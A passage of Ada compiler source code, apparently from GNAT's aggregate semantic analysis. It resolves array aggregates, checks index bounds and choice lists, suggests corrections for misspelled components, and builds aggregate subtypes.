Collect_Aggr_Bounds (N, 1);
-- Build the list of constrained indices of our aggregate itype.
for J in 1 .. Aggr_Dimension loop
Create_Index : declare
Index_Base : Entity_Id := Base_Type (Etype (Aggr_Range (J)));
Index_Typ : Entity_Id;
begin
-- Construct the Index subtype
Index_Typ := Create_Itype (Subtype_Kind (Ekind (Index_Base)), N);
Set_Etype (Index_Typ, Index_Base);
if Is_Character_Type (Index_Base) then
Set_Is_Character_Type (Index_Typ);
end if;
Set_Size_Info (Index_Typ, (Index_Base));
Set_RM_Size (Index_Typ, RM_Size (Index_Base));
Set_First_Rep_Item (Index_Typ, First_Rep_Item (Index_Base));
Set_Scalar_Range (Index_Typ, Aggr_Range (J));
if Is_Discrete_Or_Fixed_Point_Type (Index_Typ) then
Set_RM_Size (Index_Typ, UI_From_Int (Minimum_Size (Index_Typ)));
end if;
Set_Etype (Aggr_Range (J), Index_Typ);
Append (Aggr_Range (J), To => Index_Constraints);
end Create_Index;
end loop;
-- Now build the Itype
Itype := Create_Itype (E_Array_Subtype, N);
Set_First_Rep_Item (Itype, First_Rep_Item (Typ));
Set_Component_Type (Itype, Component_Type (Typ));
Set_Convention (Itype, Convention (Typ));
Set_Depends_On_Private (Itype, Has_Private_Component (Typ));
Set_Etype (Itype, Base_Type (Typ));
Set_Has_Alignment_Clause (Itype, Has_Alignment_Clause (Typ));
Set_Is_Aliased (Itype, Is_Aliased (Typ));
Set_Suppress_Index_Checks (Itype, Suppress_Index_Checks (Typ));
Set_Suppress_Length_Checks (Itype, Suppress_Length_Checks (Typ));
Set_Depends_On_Private (Itype, Depends_On_Private (Typ));
Set_First_Index (Itype, First (Index_Constraints));
Set_Is_Constrained (Itype, True);
Set_Is_Internal (Itype, True);
Init_Size_Align (Itype);
-- A simple optimization: purely positional aggregates of static
-- components should be passed to gigi unexpanded whenever possible,
-- and regardless of the staticness of the bounds themselves. Subse-
-- quent checks in exp_aggr verify that type is not packed, etc.
Set_Size_Known_At_Compile_Time (Itype,
Is_Fully_Positional
and then Comes_From_Source (N)
and then Size_Known_At_Compile_Time (Component_Type (Typ)));
-- We always need a freeze node for a packed array subtype, so that
-- we can build the Packed_Array_Type corresponding to the subtype.
-- If expansion is disabled, the packed array subtype is not built,
-- and we must not generate a freeze node for the type, or else it
-- will appear incomplete to gigi.
if Is_Packed (Itype) and then not In_Default_Expression
and then Expander_Active
then
Freeze_Itype (Itype, N);
end if;
return Itype;
end Array_Aggr_Subtype;
--------------------------------
-- Check_Misspelled_Component --
--------------------------------
procedure Check_Misspelled_Component
(Elements : Elist_Id;
Component : Node_Id)
is
Max_Suggestions : constant := 2;
Nr_Of_Suggestions : Natural := 0;
Suggestion_1 : Entity_Id := Empty;
Suggestion_2 : Entity_Id := Empty;
Component_Elmt : Elmt_Id;
begin
-- All the components of List are matched against Component and
-- a count is maintained of possible misspellings. When at the
-- end of the analysis there are one or two (not more!) possible
-- misspellings, these misspellings will be suggested as
-- possible correction.
Get_Name_String (Chars (Component));
declare
S : constant String (1 .. Name_Len) :=
Name_Buffer (1 .. Name_Len);
begin
Component_Elmt := First_Elmt (Elements);
while Nr_Of_Suggestions <= Max_Suggestions
and then Present (Component_Elmt)
loop
Get_Name_String (Chars (Node (Component_Elmt)));
if Is_Bad_Spelling_Of (Name_Buffer (1 .. Name_Len), S) then
Nr_Of_Suggestions := Nr_Of_Suggestions + 1;
case Nr_Of_Suggestions is
when 1 => Suggestion_1 := Node (Component_Elmt);
when 2 => Suggestion_2 := Node (Component_Elmt);
when others => exit;
end case;
end if;
Next_Elmt (Component_Elmt);
end loop;
-- Report at most two suggestions
if Nr_Of_Suggestions = 1 then
Error_Msg_NE ("\possible misspelling of&",
Component, Suggestion_1);
elsif Nr_Of_Suggestions = 2 then
Error_Msg_Node_2 := Suggestion_2;
Error_Msg_NE ("\possible misspelling of& or&",
Component, Suggestion_1);
end if;
end;
end Check_Misspelled_Component;
----------------------------------------
-- Check_Static_Discriminated_Subtype --
----------------------------------------
procedure Check_Static_Discriminated_Subtype (T : Entity_Id; V : Node_Id) is
Disc : constant Entity_Id := First_Discriminant (T);
Comp : Entity_Id;
Ind : Entity_Id;
begin
if Has_Record_Rep_Clause (Base_Type (T)) then
return;
elsif Present (Next_Discriminant (Disc)) then
return;
elsif Nkind (V) /= N_Integer_Literal then
return;
end if;
Comp := First_Component (T);
while Present (Comp) loop
if Is_Scalar_Type (Etype (Comp)) then
null;
elsif Is_Private_Type (Etype (Comp))
and then Present (Full_View (Etype (Comp)))
and then Is_Scalar_Type (Full_View (Etype (Comp)))
then
null;
elsif Is_Array_Type (Etype (Comp)) then
if Is_Bit_Packed_Array (Etype (Comp)) then
return;
end if;
Ind := First_Index (Etype (Comp));
while Present (Ind) loop
if Nkind (Ind) /= N_Range
or else Nkind (Low_Bound (Ind)) /= N_Integer_Literal
or else Nkind (High_Bound (Ind)) /= N_Integer_Literal
then
return;
end if;
Next_Index (Ind);
end loop;
else
return;
end if;
Next_Component (Comp);
end loop;
-- On exit, all components have statically known sizes.
Set_Size_Known_At_Compile_Time (T);
end Check_Static_Discriminated_Subtype;
--------------------------------
-- Make_String_Into_Aggregate --
--------------------------------
procedure Make_String_Into_Aggregate (N : Node_Id) is
C : Char_Code;
C_Node : Node_Id;
Exprs : List_Id := New_List;
Loc : constant Source_Ptr := Sloc (N);
New_N : Node_Id;
P : Source_Ptr := Loc + 1;
Str : constant String_Id := Strval (N);
Strlen : constant Nat := String_Length (Str);
begin
for J in 1 .. Strlen loop
C := Get_String_Char (Str, J);
Set_Character_Literal_Name (C);
C_Node := Make_Character_Literal (P, Name_Find, C);
Set_Etype (C_Node, Any_Character);
Set_Analyzed (C_Node);
Append_To (Exprs, C_Node);
P := P + 1;
-- something special for wide strings ?
end loop;
New_N := Make_Aggregate (Loc, Expressions => Exprs);
Set_Analyzed (New_N);
Set_Etype (New_N, Any_Composite);
Rewrite (N, New_N);
end Make_String_Into_Aggregate;
-----------------------
-- Resolve_Aggregate --
-----------------------
procedure Resolve_Aggregate (N : Node_Id; Typ : Entity_Id) is
Pkind : constant Node_Kind := Nkind (Parent (N));
Aggr_Subtyp : Entity_Id;
-- The actual aggregate subtype. This is not necessarily the same as Typ
-- which is the subtype of the context in which the aggregate was found.
begin
if Is_Limited_Type (Typ) then
Error_Msg_N ("aggregate type cannot be limited", N);
elsif Is_Limited_Composite (Typ) then
Error_Msg_N ("aggregate type cannot have limited component", N);
elsif Is_Class_Wide_Type (Typ) then
Error_Msg_N ("type of aggregate cannot be class-wide", N);
elsif Typ = Any_String
or else Typ = Any_Composite
then
Error_Msg_N ("no unique type for aggregate", N);
Set_Etype (N, Any_Composite);
elsif Is_Array_Type (Typ) and then Null_Record_Present (N) then
Error_Msg_N ("null record forbidden in array aggregate", N);
elsif Is_Record_Type (Typ) then
Resolve_Record_Aggregate (N, Typ);
elsif Is_Array_Type (Typ) then
-- First a special test, for the case of a positional aggregate
-- of characters which can be replaced by a string literal.
-- Do not perform this transformation if this was a string literal
-- to start with, whose components needed constraint checks, or if
-- the component type is non-static, because it will require those
-- checks and be transformed back into an aggregate.
if Number_Dimensions (Typ) = 1
and then
(Root_Type (Component_Type (Typ)) = Standard_Character
or else
Root_Type (Component_Type (Typ)) = Standard_Wide_Character)
and then No (Component_Associations (N))
and then not Is_Limited_Composite (Typ)
and then not Is_Private_Composite (Typ)
and then not Is_Bit_Packed_Array (Typ)
and then Nkind (Original_Node (Parent (N))) /= N_String_Literal
and then Is_Static_Subtype (Component_Type (Typ))
then
declare
Expr : Node_Id;
begin
Expr := First (Expressions (N));
while Present (Expr) loop
exit when Nkind (Expr) /= N_Character_Literal;
Next (Expr);
end loop;
if No (Expr) then
Start_String;
Expr := First (Expressions (N));
while Present (Expr) loop
Store_String_Char (Char_Literal_Value (Expr));
Next (Expr);
end loop;
Rewrite (N,
Make_String_Literal (Sloc (N), End_String));
Analyze_And_Resolve (N, Typ);
return;
end if;
end;
end if;
-- Here if we have a real aggregate to deal with
Array_Aggregate : declare
Aggr_Resolved : Boolean;
Aggr_Typ : Entity_Id := Etype (Typ);
-- This is the unconstrained array type, which is the type
-- against which the aggregate is to be resoved. Typ itself
-- is the array type of the context which may not be the same
-- subtype as the subtype for the final aggregate.
begin
-- In the following we determine whether an others choice is
-- allowed inside the array aggregate. The test checks the context
-- in which the array aggregate occurs. If the context does not
-- permit it, or the aggregate type is unconstrained, an others
-- choice is not allowed.
--
-- Note that there is no node for Explicit_Actual_Parameter.
-- To test for this context we therefore have to test for node
-- N_Parameter_Association which itself appears only if there is a
-- formal parameter. Consequently we also need to test for
-- N_Procedure_Call_Statement or N_Function_Call.
if Is_Constrained (Typ) and then
(Pkind = N_Assignment_Statement or else
Pkind = N_Parameter_Association or else
Pkind = N_Function_Call or else
Pkind = N_Procedure_Call_Statement or else
Pkind = N_Generic_Association or else
Pkind = N_Formal_Object_Declaration or else
Pkind = N_Return_Statement or else
Pkind = N_Object_Declaration or else
Pkind = N_Component_Declaration or else
Pkind = N_Parameter_Specification or else
Pkind = N_Qualified_Expression or else
Pkind = N_Aggregate or else
Pkind = N_Extension_Aggregate or else
Pkind = N_Component_Association)
then
Aggr_Resolved :=
Resolve_Array_Aggregate
(N,
Index => First_Index (Aggr_Typ),
Index_Constr => First_Index (Typ),
Component_Typ => Component_Type (Typ),
Others_Allowed => True);
else
Aggr_Resolved :=
Resolve_Array_Aggregate
(N,
Index => First_Index (Aggr_Typ),
Index_Constr => First_Index (Aggr_Typ),
Component_Typ => Component_Type (Typ),
Others_Allowed => False);
end if;
if not Aggr_Resolved then
Aggr_Subtyp := Any_Composite;
else
Aggr_Subtyp := Array_Aggr_Subtype (N, Typ);
end if;
Set_Etype (N, Aggr_Subtyp);
end Array_Aggregate;
else
Error_Msg_N ("illegal context for aggregate", N);
end if;
-- If we can determine statically that the evaluation of the
-- aggregate raises Constraint_Error, then replace the
-- aggregate with an N_Raise_Constraint_Error node, but set the
-- Etype to the right aggregate subtype. Gigi needs this.
if Raises_Constraint_Error (N) then
Aggr_Subtyp := Etype (N);
Rewrite (N, Make_Raise_Constraint_Error (Sloc (N)));
Set_Raises_Constraint_Error (N);
Set_Etype (N, Aggr_Subtyp);
Set_Analyzed (N);
end if;
end Resolve_Aggregate;
-----------------------------
-- Resolve_Array_Aggregate --
-----------------------------
function Resolve_Array_Aggregate
(N : Node_Id;
Index : Node_Id;
Index_Constr : Node_Id;
Component_Typ : Entity_Id;
Others_Allowed : Boolean)
return Boolean
is
Loc : constant Source_Ptr := Sloc (N);
Failure : constant Boolean := False;
Success : constant Boolean := True;
Index_Typ : constant Entity_Id := Etype (Index);
Index_Typ_Low : constant Node_Id := Type_Low_Bound (Index_Typ);
Index_Typ_High : constant Node_Id := Type_High_Bound (Index_Typ);
-- The type of the index corresponding to the array sub-aggregate
-- along with its low and upper bounds
Index_Base : constant Entity_Id := Base_Type (Index_Typ);
Index_Base_Low : constant Node_Id := Type_Low_Bound (Index_Base);
Index_Base_High : constant Node_Id := Type_High_Bound (Index_Base);
-- ditto for the base type
function Add (Val : Uint; To : Node_Id) return Node_Id;
-- Creates a new expression node where Val is added to expression To.
-- Tries to constant fold whenever possible. To must be an already
-- analyzed expression.
procedure Check_Bound (BH : Node_Id; AH : in out Node_Id);
-- Checks that AH (the upper bound of an array aggregate) is <= BH
-- (the upper bound of the index base type). If the check fails a
-- warning is emitted, the Raises_Constraint_Error Flag of N is set,
-- and AH is replaced with a duplicate of BH.
procedure Check_Bounds (L, H : Node_Id; AL, AH : Node_Id);
-- Checks that range AL .. AH is compatible with range L .. H. Emits a
-- warning if not and sets the Raises_Constraint_Error Flag in N.
procedure Check_Length (L, H : Node_Id; Len : Uint);
-- Checks that range L .. H contains at least Len elements. Emits a
-- warning if not and sets the Raises_Constraint_Error Flag in N.
function Dynamic_Or_Null_Range (L, H : Node_Id) return Boolean;
-- Returns True if range L .. H is dynamic or null.
procedure Get (Value : out Uint; From : Node_Id; OK : out Boolean);
-- Given expression node From, this routine sets OK to False if it
-- cannot statically evaluate From. Otherwise it stores this static
-- value into Value.
function Resolve_Aggr_Expr
(Expr : Node_Id;
Single_Elmt : Boolean)
return Boolean;
-- Resolves aggregate expression Expr. Returs False if resolution
-- fails. If Single_Elmt is set to False, the expression Expr may be
-- used to initialize several array aggregate elements (this can
-- happen for discrete choices such as "L .. H => Expr" or the others
-- choice). In this event we do not resolve Expr unless expansion is
-- disabled. To know why, see the DELAYED COMPONENT RESOLUTION
-- note above.
---------
-- Add --
---------
function Add (Val : Uint; To : Node_Id) return Node_Id is
Expr_Pos : Node_Id;
Expr : Node_Id;
To_Pos : Node_Id;
begin
if Raises_Constraint_Error (To) then
return To;
end if;
-- First test if we can do constant folding
if Compile_Time_Known_Value (To)
or else Nkind (To) = N_Integer_Literal
then
Expr_Pos := Make_Integer_Literal (Loc, Expr_Value (To) + Val);
Set_Is_Static_Expression (Expr_Pos);
Set_Etype (Expr_Pos, Etype (To));
Set_Analyzed (Expr_Pos, Analyzed (To));
if not Is_Enumeration_Type (Index_Typ) then
Expr := Expr_Pos;
-- If we are dealing with enumeration return
-- Index_Typ'Val (Expr_Pos)
else
Expr :=
Make_Attribute_Reference
(Loc,
Prefix => New_Reference_To (Index_Typ, Loc),
Attribute_Name => Name_Val,
Expressions => New_List (Expr_Pos));
end if;
return Expr;
end if;
-- If we are here no constant folding possible
if not Is_Enumeration_Type (Index_Base) then
Expr :=
Make_Op_Add (Loc,
Left_Opnd => Duplicate_Subexpr (To),
Right_Opnd => Make_Integer_Literal (Loc, Val));
-- If we are dealing with enumeration return
-- Index_Typ'Val (Index_Typ'Pos (To) + Val)
else
To_Pos :=
Make_Attribute_Reference
(Loc,
Prefix => New_Reference_To (Index_Typ, Loc),
Attribute_Name => Name_Pos,
Expressions => New_List (Duplicate_Subexpr (To)));
Expr_Pos :=
Make_Op_Add (Loc,
Left_Opnd => To_Pos,
Right_Opnd => Make_Integer_Literal (Loc, Val));
Expr :=
Make_Attribute_Reference
(Loc,
Prefix => New_Reference_To (Index_Typ, Loc),
Attribute_Name => Name_Val,
Expressions => New_List (Expr_Pos));
end if;
return Expr;
end Add;
-----------------
-- Check_Bound --
-----------------
procedure Check_Bound (BH : Node_Id; AH : in out Node_Id) is
Val_BH : Uint;
Val_AH : Uint;
OK_BH : Boolean;
OK_AH : Boolean;
begin
Get (Value => Val_BH, From => BH, OK => OK_BH);
Get (Value => Val_AH, From => AH, OK => OK_AH);
if OK_BH and then OK_AH and then Val_BH < Val_AH then
Set_Raises_Constraint_Error (N);
Error_Msg_N ("upper bound out of range?", AH);
Error_Msg_N ("Constraint_Error will be raised at run-time?", AH);
-- You need to set AH to BH or else in the case of enumerations
-- indices we will not be able to resolve the aggregate bounds.
AH := Duplicate_Subexpr (BH);
end if;
end Check_Bound;
------------------
-- Check_Bounds --
------------------
procedure Check_Bounds (L, H : Node_Id; AL, AH : Node_Id) is
Val_L : Uint;
Val_H : Uint;
Val_AL : Uint;
Val_AH : Uint;
OK_L : Boolean;
OK_H : Boolean;
OK_AL : Boolean;
OK_AH : Boolean;
begin
if Raises_Constraint_Error (N)
or else Dynamic_Or_Null_Range (AL, AH)
then
return;
end if;
Get (Value => Val_L, From => L, OK => OK_L);
Get (Value => Val_H, From => H, OK => OK_H);
Get (Value => Val_AL, From => AL, OK => OK_AL);
Get (Value => Val_AH, From => AH, OK => OK_AH);
if OK_L and then Val_L > Val_AL then
Set_Raises_Constraint_Error (N);
Error_Msg_N ("lower bound of aggregate out of range?", N);
Error_Msg_N ("Constraint_Error will be raised at run-time?", N);
end if;
if OK_H and then Val_H < Val_AH then
Set_Raises_Constraint_Error (N);
Error_Msg_N ("upper bound of aggregate out of range?", N);
Error_Msg_N ("Constraint_Error will be raised at run-time?", N);
end if;
end Check_Bounds;
------------------
-- Check_Length --
------------------
procedure Check_Length (L, H : Node_Id; Len : Uint) is
Val_L : Uint;
Val_H : Uint;
OK_L : Boolean;
OK_H : Boolean;
Range_Len : Uint;
begin
if Raises_Constraint_Error (N) then
return;
end if;
Get (Value => Val_L, From => L, OK => OK_L);
Get (Value => Val_H, From => H, OK => OK_H);
if not OK_L or else not OK_H then
return;
end if;
-- If null range length is zero
if Val_L > Val_H then
Range_Len := Uint_0;
else
Range_Len := Val_H - Val_L + 1;
end if;
if Range_Len < Len then
Set_Raises_Constraint_Error (N);
Error_Msg_N ("Too many elements?", N);
Error_Msg_N ("Constraint_Error will be raised at run-time?", N);
end if;
end Check_Length;
---------------------------
-- Dynamic_Or_Null_Range --
---------------------------
function Dynamic_Or_Null_Range (L, H : Node_Id) return Boolean is
Val_L : Uint;
Val_H : Uint;
OK_L : Boolean;
OK_H : Boolean;
begin
Get (Value => Val_L, From => L, OK => OK_L);
Get (Value => Val_H, From => H, OK => OK_H);
return not OK_L or else not OK_H
or else not Is_OK_Static_Expression (L)
or else not Is_OK_Static_Expression (H)
or else Val_L > Val_H;
end Dynamic_Or_Null_Range;
---------
-- Get --
---------
procedure Get (Value : out Uint; From : Node_Id; OK : out Boolean) is
begin
OK := True;
if Compile_Time_Known_Value (From) then
Value := Expr_Value (From);
-- If expression From is something like Some_Type'Val (10) then
-- Value = 10
elsif Nkind (From) = N_Attribute_Reference
and then Attribute_Name (From) = Name_Val
and then Compile_Time_Known_Value (First (Expressions (From)))
then
Value := Expr_Value (First (Expressions (From)));
else
Value := Uint_0;
OK := False;
end if;
end Get;
-----------------------
-- Resolve_Aggr_Expr --
-----------------------
function Resolve_Aggr_Expr
(Expr : Node_Id;
Single_Elmt : Boolean)
return Boolean
is
Nxt_Ind : Node_Id := Next_Index (Index);
Nxt_Ind_Constr : Node_Id := Next_Index (Index_Constr);
-- Index is the current index corresponding to the expression.
Resolution_OK : Boolean := True;
-- Set to False if resolution of the expression failed.
begin
-- If the array type against which we are resolving the aggregate
-- has several dimensions, the expressions nested inside the
-- aggregate must be further aggregates (or strings).
if Present (Nxt_Ind) then
if Nkind (Expr) /= N_Aggregate then
-- A string literal can appear where a one-dimensional array
-- of characters is expected. If the literal looks like an
-- operator, it is still an operator symbol, which will be
-- transformed into a string when analyzed.
if Is_Character_Type (Component_Typ)
and then No (Next_Index (Nxt_Ind))
and then (Nkind (Expr) = N_String_Literal
or else Nkind (Expr) = N_Operator_Symbol)
then
-- A string literal used in a multidimensional array
-- aggregate in place of the final one-dimensional
-- aggregate must not be enclosed in parentheses.
if Paren_Count (Expr) /= 0 then
Error_Msg_N ("No parenthesis allowed here", Expr);
end if;
Make_String_Into_Aggregate (Expr);
else
Error_Msg_N ("nested array aggregate expected", Expr);
return Failure;
end if;
end if;
Resolution_OK := Resolve_Array_Aggregate
(Expr, Nxt_Ind, Nxt_Ind_Constr, Component_Typ, Others_Allowed);
-- Do not resolve the expressions of discrete or others choices
-- unless the expression covers a single component, or the expander
-- is inactive.
elsif Single_Elmt
or else not Expander_Active
or else In_Default_Expression
then
Analyze_And_Resolve (Expr, Component_Typ);
Check_Non_Static_Context (Expr);
Aggregate_Constraint_Checks (Expr, Component_Typ);
end if;
if Raises_Constraint_Error (Expr)
and then Nkind (Parent (Expr)) /= N_Component_Association
then
Set_Raises_Constraint_Error (N);
end if;
return Resolution_OK;
end Resolve_Aggr_Expr;
-- Variables local to Resolve_Array_Aggregate
Assoc : Node_Id;
Choice : Node_Id;
Expr : Node_Id;
Who_Cares : Node_Id;
Aggr_Low : Node_Id := Empty;
Aggr_High : Node_Id := Empty;
-- The actual low and high bounds of this sub-aggegate
Choices_Low : Node_Id := Empty;
Choices_High : Node_Id := Empty;
-- The lowest and highest discrete choices values for a named aggregate
Nb_Elements : Uint := Uint_0;
-- The number of elements in a positional aggegate
Others_Present : Boolean := False;
Nb_Choices : Nat := 0;
-- Contains the overall number of named choices in this sub-aggregate
Nb_Discrete_Choices : Nat := 0;
-- The overall number of discrete choices (not counting others choice)
Case_Table_Size : Nat;
-- Contains the size of the case table needed to sort aggregate choices
-- Start of processing for Resolve_Array_Aggregate
begin
-- STEP 1: make sure the aggregate is correctly formatted
if Present (Component_Associations (N)) then
Assoc := First (Component_Associations (N));
while Present (Assoc) loop
Choice := First (Choices (Assoc));
while Present (Choice) loop
if Nkind (Choice) = N_Others_Choice then
Others_Present := True;
if Choice /= First (Choices (Assoc))
or else Present (Next (Choice))
then
Error_Msg_N
("OTHERS must appear alone in a choice list", Choice);
return Failure;
end if;
if Present (Next (Assoc)) then
Error_Msg_N
("OTHERS must appear last in an aggregate", Choice);
return Failure;
end if;
if Ada_83
and then Assoc /= First (Component_Associations (N))
and then (Nkind (Parent (N)) = N_Assignment_Statement
or else
Nkind (Parent (N)) = N_Object_Declaration)
then
Error_Msg_N
("(Ada 83) illegal context for OTHERS choice", N);
end if;
end if;
Nb_Choices := Nb_Choices + 1;
Next (Choice);
end loop;
Next (Assoc);
end loop;
end if;
-- At this point we know that the others choice, if present, is by
-- itself and appears last in the aggregate. Check if we have mixed
-- positional and discrete associations (other than the others choice).
if Present (Expressions (N))
and then (Nb_Choices > 1
or else (Nb_Choices = 1 and then not Others_Present))
then
Error_Msg_N
("named association cannot follow positional association",
First (Choices (First (Component_Associations (N)))));
return Failure;
end if;
-- Test for the validity of an others choice if present
if Others_Present and then not Others_Allowed then
Error_Msg_N
("OTHERS choice not allowed here",
First (Choices (First (Component_Associations (N)))));
return Failure;
end if;
-- STEP 2: Process named components
if No (Expressions (N)) then
if Others_Present then
Case_Table_Size := Nb_Choices - 1;
else
Case_Table_Size := Nb_Choices;
end if;
Step_2 : declare
Low : Node_Id;
High : Node_Id;
-- Denote the lowest and highest values in an aggregate choice
Hi_Val : Uint;
Lo_Val : Uint;
-- High end of one range and Low end of the next. Should be
-- contiguous if there is no hole in the list of values.
Missing_Values : Boolean;
-- Set True if missing index values
S_Low : Node_Id := Empty;
S_High : Node_Id := Empty;
-- if a choice in an aggregate is a subtype indication these
-- denote the lowest and highest values of the subtype
Table : Case_Table_Type (1 .. Case_Table_Size);
-- Used to sort all the different choice values
Single_Choice : Boolean;
-- Set to true every time there is a single discrete choice in a
-- discrete association
Prev_Nb_Discrete_Choices : Nat;
-- Used to keep track of the number of discrete choices
-- in the current association.
begin
-- STEP 2 (A): Check discrete choices validity.
Assoc := First (Component_Associations (N));
while Present (Assoc) loop
Prev_Nb_Discrete_Choices := Nb_Discrete_Choices;
Choice := First (Choices (Assoc));
loop
Analyze (Choice);
if Nkind (Choice) = N_Others_Choice then
Single_Choice := False;
exit;
-- Test for subtype mark without constraint
elsif Is_Entity_Name (Choice) and then
Is_Type (Entity (Choice))
then
if Base_Type (Entity (Choice)) /= Index_Base then
Error_Msg_N
("invalid subtype mark in aggregate choice",
Choice);
return Failure;
end if;
elsif Nkind (Choice) = N_Subtype_Indication then
Resolve_Discrete_Subtype_Indication (Choice, Index_Base);
-- Does the subtype indication evaluation raise CE ?
Get_Index_Bounds (Subtype_Mark (Choice), S_Low, S_High);
Get_Index_Bounds (Choice, Low, High);
Check_Bounds (S_Low, S_High, Low, High);
else -- Choice is a range or an expression
Resolve (Choice, Index_Base);
Check_Non_Static_Context (Choice);
-- Do not range check a choice. This check is redundant
-- since this test is already performed when we check
-- that the bounds of the array aggregate are within
-- range.
Set_Do_Range_Check (Choice, False);
end if;
-- If we could not resolve the discrete choice stop here
if Etype (Choice) = Any_Type then
return Failure;
-- If the discrete choice raises CE get its original bounds.
elsif Nkind (Choice) = N_Raise_Constraint_Error then
Set_Raises_Constraint_Error (N);
Get_Index_Bounds (Original_Node (Choice), Low, High);
-- Otherwise get its bounds as usual
else
Get_Index_Bounds (Choice, Low, High);
end if;
if (Dynamic_Or_Null_Range (Low, High)
or else (Nkind (Choice) = N_Subtype_Indication
and then
Dynamic_Or_Null_Range (S_Low, S_High)))
and then Nb_Choices /= 1
then
Error_Msg_N
("dynamic or empty choice in aggregate " &
"must be the only choice", Choice);
return Failure;
end if;
Nb_Discrete_Choices := Nb_Discrete_Choices + 1;
Table (Nb_Discrete_Choices).Choice_Lo := Low;
Table (Nb_Discrete_Choices).Choice_Hi := High;
Next (Choice);
if No (Choice) then
-- Check if we have a single discrete choice and whether
-- this discrete choice specifies a single value.
Single_Choice :=
(Nb_Discrete_Choices = Prev_Nb_Discrete_Choices + 1)
and then (Low = High);
exit;
end if;
end loop;
if not
Resolve_Aggr_Expr
(Expression (Assoc), Single_Elmt => Single_Choice)
then
return Failure;
end if;
Next (Assoc);
end loop;
-- If aggregate contains more than one choice then these must be
-- static. Sort them and check that they are contiguous
if Nb_Discrete_Choices > 1 then
Sort_Case_Table (Table);
Missing_Values := False;
Outer : for J in 1 .. Nb_Discrete_Choices - 1 loop
if Expr_Value (Table (J).Choice_Hi) >=
Expr_Value (Table (J + 1).Choice_Lo)
then
Error_Msg_N
("duplicate choice values in array aggregate",
Table (J).Choice_Hi);
return Failure;
elsif not Others_Present then
Hi_Val := Expr_Value (Table (J).Choice_Hi);
Lo_Val := Expr_Value (Table (J + 1).Choice_Lo);
-- If missing values, output error messages
if Lo_Val - Hi_Val > 1 then
-- Header message if not first missing value
if not Missing_Values then
Error_Msg_N
("missing index value(s) in array aggregate", N);
Missing_Values := True;
end if;
-- Output values of missing indexes
Lo_Val := Lo_Val - 1;
Hi_Val := Hi_Val + 1;
-- Enumeration type case
if Is_Enumeration_Type (Index_Typ) then
Error_Msg_Name_1 :=
Chars
(Get_Enum_Lit_From_Pos
(Index_Typ, Hi_Val, Loc));
if Lo_Val = Hi_Val then
Error_Msg_N ("\ %", N);
else
Error_Msg_Name_2 :=
Chars
(Get_Enum_Lit_From_Pos
(Index_Typ, Lo_Val, Loc));
Error_Msg_N ("\ % .. %", N);
end if;
-- Integer types case
else
Error_Msg_Uint_1 := Hi_Val;
if Lo_Val = Hi_Val then
Error_Msg_N ("\ ^", N);
else
Error_Msg_Uint_2 := Lo_Val;
Error_Msg_N ("\ ^ .. ^", N);
end if;
end if;
end if;
end if;
end loop Outer;
if Missing_Values then
Set_Etype (N, Any_Composite);
return Failure;
end if;
end if;
-- STEP 2 (B): Compute aggregate bounds and min/max choices values
if Nb_Discrete_Choices > 0 then
Choices_Low := Table (1).Choice_Lo;
Choices_High := Table (Nb_Discrete_Choices).Choice_Hi;
end if;
if Others_Present then
Get_Index_Bounds (Index_Constr, Aggr_Low, Aggr_High);
else
Aggr_Low := Choices_Low;
Aggr_High := Choices_High;
end if;
end Step_2;
-- STEP 3: Process positional components
else
-- STEP 3 (A): Process positional elements
Expr := First (Expressions (N));
Nb_Elements := Uint_0;
while Present (Expr) loop
Nb_Elements := Nb_Elements + 1;
if not Resolve_Aggr_Expr (Expr, Single_Elmt => True) then
return Failure;
end if;
Next (Expr);
end loop;
if Others_Present then
Assoc := Last (Component_Associations (N));
if not Resolve_Aggr_Expr (Expression (Assoc),
Single_Elmt => False)
then
return Failure;
end if;
end if;
-- STEP 3 (B): Compute the aggregate bounds
if Others_Present then
Get_Index_Bounds (Index_Constr, Aggr_Low, Aggr_High);
else
if Others_Allowed then
Get_Index_Bounds (Index_Constr, Aggr_Low, Who_Cares);
else
Aggr_Low := Index_Typ_Low;
end if;
Aggr_High := Add (Nb_Elements - 1, To => Aggr_Low);
Check_Bound (Index_Base_High, Aggr_High);
end if;
end if;
-- STEP 4: Perform static aggregate checks and save the bounds
-- Check (A)
Check_Bounds (Index_Typ_Low, Index_Typ_High, Aggr_Low, Aggr_High);
Check_Bounds (Index_Base_Low, Index_Base_High, Aggr_Low, Aggr_High);
-- Check (B)
if Others_Present and then Nb_Discrete_Choices > 0 then
Check_Bounds (Aggr_Low, Aggr_High, Choices_Low, Choices_High);
Check_Bounds (Index_Typ_Low, Index_Typ_High,
Choices_Low, Choices_High);
Check_Bounds (Index_Base_Low, Index_Base_High,
Choices_Low, Choices_High);
-- Check (C)
elsif Others_Present and then Nb_Elements > 0 then
Check_Length (Aggr_Low, Aggr_High, Nb_Elements);
Check_Length (Index_Typ_Low, Index_Typ_High, Nb_Elements);
Check_Length (Index_Base_Low, Index_Base_High, Nb_Elements);
end if;
if Raises_Constraint_Error (Aggr_Low)
or else Raises_Constraint_Error (Aggr_High)
then
Set_Raises_Constraint_Error (N);
end if;
Aggr_Low := Duplicate_Subexpr (Aggr_Low);
-- Do not duplicate Aggr_High if Aggr_High = Aggr_Low + Nb_Elements
-- since the addition node returned by Add is not yet analyzed. Attach
-- to tree and analyze first. Reset analyzed flag to insure it will get
-- analyzed when it is a literal bound whose type must be properly
-- set.
if Others_Present or else Nb_Discrete_Choices > 0 then
Aggr_High := Duplicate_Subexpr (Aggr_High);
if Etype (Aggr_High) = Universal_Integer then
Set_Analyzed (Aggr_High, False);
end if;
end if;
Set_Aggregate_Bounds
(N, Make_Range (Loc, Low_Bound => Aggr_Low, High_Bound => Aggr_High));
-- The bounds may contain expressions that must be inserted upwards.
-- Attach them fully to the tree. After analysis, remove side effects
-- from upper bound, if still needed.
Set_Parent (Aggregate_Bounds (N), N);
Analyze_And_Resolve (Aggregate_Bounds (N), Index_Typ);
if not Others_Present and then Nb_Discrete_Choices = 0 then
Set_High_Bound (Aggregate_Bounds (N),
Duplicate_Subexpr (High_Bound (Aggregate_Bounds (N))));
end if;
return Success;
end Resolve_Array_Aggregate;
---------------------------------
-- Resolve_Extension_Aggregate --
---------------------------------
-- There are two cases to consider:
-- a) If the ancestor part is a type mark, the components needed are
-- the difference between the components of the expected type and the
-- components of the given type mark.
-- b) If the ancestor part is an expression, it must be unambiguous,
-- and once we have its type we can also compute the needed components
-- as in the previous case. In both cases, if the ancestor type is not
-- the immediate ancestor, we have to build this ancestor recursively.
-- In both cases discriminants of the ancestor type do not play a
-- role in the resolution of the needed components, because inherited
-- discriminants cannot be used in a type extension. As a result we can
